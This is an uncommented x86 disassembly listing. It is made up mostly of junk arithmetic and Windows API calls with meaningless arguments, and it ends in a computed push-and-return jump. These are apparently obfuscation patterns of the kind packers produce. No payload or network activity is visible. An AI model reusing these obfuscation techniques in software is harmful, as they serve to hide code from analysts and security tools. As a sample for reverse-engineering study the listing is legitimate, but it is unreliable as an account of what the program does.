and dword [ebp - 0x6c], 0x64
call fcn.00403de1
push 0xfd61000
call dword [sym.imp.USER32.DLL_GetParent]
sub byte [ebp - 0x2c], dl
call fcn.00403e0b
add dword [ebp - 8], 0x2c
push 0x41a0b9
call fcn.00403e25
add esi, dword [0x41d891]
sub dword [ebp - 0x54], 0x2b
call fcn.00403e6c
sub eax, dword [0x4256d7]
push 0
call fcn.00403e85
sub dx, word [0x416cd5]
test al, 0xe3
jno 0x406056
mov edi, dword [0x427a8b]
bswap bx
movzx eax, cl
movsx edi, si
dec dh
imul bx, sp, 0x6b43
and dword [ebp - 0x34], 0xffffffd3
push 0xffffffffffffff90
push 0x48bbd
push 0x427451
call fcn.00403eba
adc dword [ebp - 0x48], edx
call fcn.00403eff
cmp ah, 0x31
jno 0x40607e
sub esi, dword [0x41b513]
cmp al, 0x45
je 0x406087
mov eax, dword [0x417295]
mov si, word [0x41778e]
or dword [ebp - 0xc], 0x27
push 0xfffffffffffffff5
push 0
push 0xb42f8
call fcn.00403f34
cmp edi, 0x4e7a30e0
js 0x4060bb
mov bh, byte [0x420e5d]
dec dl
mov ebx, 0xd149608b
sub edx, ecx
mov dh, 0x53
mov dh, 0x56
xor dword [ebp - 0x6c], 0x16
push 0xdcaed
push 0
push 0x41c9c1
push 0
call fcn.00403f58
push 1
push 0x6112000
call dword [sym.imp.USER32.DLL_EnableWindow]
aam 0x51
mov ecx, dword [0x423d94]
mov al, byte [0x42587c]
call fcn.00403fc7
sub bh, byte [0x41d8db]
bts di, dx
and dword [ebp - 8], 0xffffffc7
call fcn.0040400a
or dword [ebp - 0x18], 0xffffffa4
call fcn.0040404b
xor dword [ebp - 0x7c], 0xffffffe7
push 0x4271c3
call fcn.0040407d
push 0xc12a000
call dword [sym.imp.USER32.DLL_GetKeyState]
xor dword [ebp - 8], 0x49
push edx
push 0x41a2a5
push 0x41dc79
push 0x416a58
call fcn.004040ab
xor cl, byte [0x427a63]
sbb dword [ebp - 0x58], 0x30
call fcn.004040f4
and dword [ebp - 0x68], 1
call fcn.00404126
add dword [ebp - 0x10], 0xffffffaf
push 0
push ecx
push 0
push 0xf7dbd
call fcn.0040415e
push 0x5ee2000
call dword [sym.imp.USER32.DLL_GetParent]
push edx
push 0
call fcn.00404174
push 0x9ff5000
call dword [sym.imp.GDI32.DLL_DeleteDC]
push dword [ebp - 0x28]
push 0x79eb000
call dword [sym.imp.GDI32.DLL_SelectClipRgn]
call fcn.00404198
or dword [ebp - 0x40], 0xffffff8b
push esi
push 0x78
push 0xecdd7
push 0
push edx
call fcn.004041d5
push 0x941f000
call dword [sym.imp.GDI32.DLL_DeleteDC]
push 0xd1d3000
call dword [sym.imp.USER32.DLL_GetParent]
push 0x419f35
push 0x427db2
push 0x7a
call fcn.0040420f
mov dl, 0x65
mov eax, dword [0x423d21]
mov ebx, dword [0x4199b8]
push 0x10e17000
call dword [sym.imp.USER32.DLL_GetKeyState]
call fcn.0040423e
test bl, 0xe7
jne 0x4061fe
or esi, dword [0x41d0cd]
adc dword [ebp - 0x4c], 0xfffffff8
call fcn.0040428f
push 0xf7e8000
call dword [sym.imp.GDI32.DLL_GetMapMode]
and dword [ebp - 8], esi
call fcn.004042bc
add dword [ebp - 0x48], 0x17
push 0xffffffffffffffa1
call fcn.00404300
mov al, byte [0x426667]
xor al, 0xdc
not ax
cmp ecx, esi
ja 0x406240
ror ecx, 1
aam 0x47
xadd ecx, ecx
mov ebx, dword [0x425794]
add si, word [0x415dfb]
push 0xa8b4000
call dword [sym.imp.GDI32.DLL_DeleteDC]
push 0xd0864
push 0x41a936
call fcn.00404332
rol edi, 1
mov ah, byte [0x42015f]
adc edi, dword [0x423925]
mov ax, word [0x419f79]
sub di, word [0x4249cd]
mov cx, word [0x4209b9]
adc byte [ebp - 0x38], bh
call fcn.0040436c
inc dh
cmp bl, dh
jbe 0x40629f
sub bh, 0x1f
or ah, bl
xor edx, 0x4a464f08
shrd esi, esi, cl
movzx dx, bh
or dword [ebp - 0x1c], 0x43
call fcn.00404381
push dword [ebp - 0x58]
push 0xbe16000
call dword [sym.imp.KERNEL32.DLL_GetFileSize]
adc dword [ebp - 0x74], 0x1b
push 0
push 0x41bcaf
push 0x41d943
push 0x424945
push eax
call fcn.004043cb
push 1
push 0x7cf8000
call dword [sym.imp.USER32.DLL_GetDlgItem]
add dword [ebp - 0x5c], 0xffffff94
call fcn.0040440c
adc dl, byte [ebp - 0x20]
push 0x41de7e
push 0x425a53
push edi
push 0
call fcn.00404442
push ebx
push 1
push 0x7fa9000
call dword [sym.imp.GDI32.DLL_PlayEnhMetaFile]
and dword [ebp - 0x44], 0xffffffec
push 0
push 0x427322
push 0x425e52
call fcn.00404465
mov di, word [0x41fa01]
xor ah, byte [0x423bac]
or ax, 0x8fe3
mov ecx, dword [0x42035b]
sub dword [ebp - 0x28], 0x5a
call fcn.00404485
mov dword [ebp - 0x20], esi
call fcn.004044d1
adc dword [ebp - 0x64], 0xffffff92
call fcn.00404550
adc dword [ebp - 0x28], 0x43
push 0x428b40
push 0x416cfd
push 0
push 0x41d172
call fcn.0040456d
mov byte [ebp - 0x38], dl
call fcn.00404588
or dword [ebp - 0x34], 0x6e
push 0x425b1a
push 0x416d91
push 0x42780b
push 0x4291c3
call fcn.004045da
push 0x1047a000
call dword [sym.imp.USER32.DLL_GetParent]
and dword [ebp - 0x58], 0xffffff9c
push 0xffffffffffffffb4
call fcn.00404634
not si
push 0x2aa0000
call dword [sym.imp.USER32.DLL_GetKeyState]
call fcn.0040466f
xor dword [ebp - 0x3c], 0xffffffe4
call fcn.004046b5
adc dword [ebp - 0x18], 0xffffff93
call fcn.004046d7
mov bl, byte [0x416c54]
adc di, word [0x41a3dd]
imul edx, ebx
xadd edi, edi
push esi
push 0x688d1
push 0x5b
call fcn.0040473c
or dword [ebp - 0x7c], 0xffffffea
call fcn.00404778
sub dword [ebp - 0x6c], 0x3f
push 0xfffffffffffffffa
push 0x4230ae
call fcn.004047b2
push 0xda69000
push 0x1afe000
call dword [sym.imp.USER32.DLL_GetDlgItem]
xor dword [ebp - 0x30], 0xffffffe7
call fcn.004047e9
push 0
push 0x2203000
call dword [sym.imp.KERNEL32.DLL_SetStdHandle]
push 0x260
push 0
push 0xe342000
call dword [sym.imp.GDI32.DLL_PlayEnhMetaFile]
call fcn.0040482c
or dword [ebp - 0x54], 0x1a
push 0xe8837
call fcn.00404851
push dword [ebp - 0x2c]
push 0x9c42000
call dword [sym.imp.USER32.DLL_GetDlgItem]
sbb dword [ebp - 4], 0xffffffe9
push 0x41da14
call fcn.004048a0
push 0xcd96000
call dword [sym.imp.GDI32.DLL_GetMapMode]
or dword [ebp - 0x34], 0xffffff89
call fcn.004048f0
add dword [ebp - 0x18], 0xffffffee
call fcn.00404934
push 0x1fc8000
call dword [sym.imp.USER32.DLL_GetKeyState]
and dword [ebp - 0x10], 0xffffffd6
push 0xeb649
push 0x1a8c4
push 0xffffffffffffffc5
push 0x36342
push eax
call fcn.00404976
shld edx, ebx, cl
shl dl, 1
mov al, byte [0x42640d]
adc dword [ebp - 0x50], 0xffffff8b
push 0xffffffffffffff95
push 0x41c5eb
push 0x953f0
call fcn.004049cb
sbb cl, byte [ebp - 0x7c]
push 0
push 0x1e
push 0xb29d8
call fcn.00404a1c
mov al, byte [0x428805]
mov ch, byte [0x417918]
mov ax, word [0x41ac7c]
sbb dword [ebp - 0x58], 0xfffffff8
call fcn.00404a58
and dword [ebp - 0xc], 0x55
push 0x3d
call fcn.00404ac0
push 1
push 0xf12f000
call dword [sym.imp.USER32.DLL_GetWindowLongA]
and dword [ebp - 0x34], 0xfffffff5
push 0x429dac
push 0xffffffffffffffe3
call fcn.00404b0e
shr ecx, 0x19
mov edx, 0xf7580aaf
mov al, 0x3d
xadd ecx, eax
sal al, 0x13
mov eax, dword [0x41e66f]
rcr dx, 1
adc dword [ebp - 0x78], 0x3d
call fcn.00404b5a
leave
push 0x2855438d
bts eax, 0xd
shl bx, 1
aam 0xeb
shld esi, esi, cl
rcl edx, 2
dec esi
lea ebx, [edi + esi*4]
sar ah, 1
mov bh, 0xb5
add dword [esp], 0xd7abbca5
mov edx, dword [0x41d26e]
movzx edi, cl
mov eax, dword [0x416677]
push 0xc2f7000
call dword [sym.imp.GDI32.DLL_DeleteDC]
push 0
push 0x1fcc000
call dword [sym.imp.GDI32.DLL_SelectClipRgn]
ret